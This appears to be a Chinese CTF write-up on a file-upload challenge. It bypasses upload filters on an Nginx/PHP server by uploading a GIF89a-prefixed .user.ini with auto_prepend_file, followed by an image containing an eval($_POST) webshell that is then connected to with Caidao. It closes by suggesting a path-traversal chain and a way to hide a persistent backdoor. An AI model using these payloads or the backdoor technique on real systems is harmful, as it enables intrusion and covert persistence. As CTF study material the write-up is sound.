比较经典的一道文件上传题,考察.user.ini控制解析图片方式
打开题目给出了上传功能,源代码里也没有任何提示,看来需要先测试一下过滤
前后依次提交了php,php5,php7,phtml拓展名的文件,发现都被过滤,并且PHP代码中不能含有<?字符
这个时候首先想到利用HTML的<script language='php'>标签来插入PHP代码
但是拦截了常规的PHP拓展名,第一时间想到上传一个含有PHP代码的jpg文件,然后利用.htaccess来将jpg文件当作PHP文件解析
发现服务器中间件是nginx,并不是apache,因此.htaccess并不适用于这种环境,百度学到可以利用.user.ini文件起到.htaccess同样的效果
编写好.user.ini文件上传提示“exif_imagetype:not image!”
常规套路,文件前加GIF89a后再次尝试,成功上传,.user.ini代码如下:
GIF89a
auto_prepend_file=ye.jpg
之后再上传含有PHP代码的图片ye.jpg,同样使用GIF89a绕过类型检测,ye.jpg代码如下:
GIF89a <script language='php'>@eval($_POST['ye']);</script>
从题目中可以知道上传的文件都会被包含在上传目录的index.php文件中,菜刀连上获得Flag:
这里有一个hint,在日常CTF比赛中除非明确需要利用一句话木马来获得Flag,否则一般情况下尽量使用system()函数读取Flag,之前做题的时候直接用一句话木马连接没有找到Flag,最后用system()才读取到了Flag,可能也是出题人害怕被搅屎吧,hhhhhhh。同样需要避免的就是phpinfo()函数,在一些题目环境中会显示不出来phpinfo,所以测试PHP代码是否被执行最好echo一个字符串来看。
最后总结一下.user.ini在文件上传题型中的应用,直接摘录其他师傅的:
.user.ini实战利用的可能性
综上所述
.user.ini
的利用条件如下:
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下要有可执行的php文件
从这来看
.user.ini
要比.htaccess
的应用范围要广一些,毕竟.htaccess
只能用于Apache但仔细推敲我们就会感到“上传目录下要有可执行的php文件”这个要求在文件上传中也比较苛刻,应该没有天才开发者会把上传文件放在主目录或者把php文件放在上传文件夹。
但也不是全无办法,如果我们根据实际情况配合其他漏洞使用可能会有奇效,前段时间我遇到一个CMS对上传时的路径没有检测
../
,因此导致文件可被上传至任意目录,这种情况下我们就很有可能可以利用.user.ini
除此之外,把
.user.ini
利用在隐藏后门上应该是个很好的利用方法,我们在存在php文件的目录下留下.user.ini
和我们的图片马,这样就达到了隐藏后门的目的。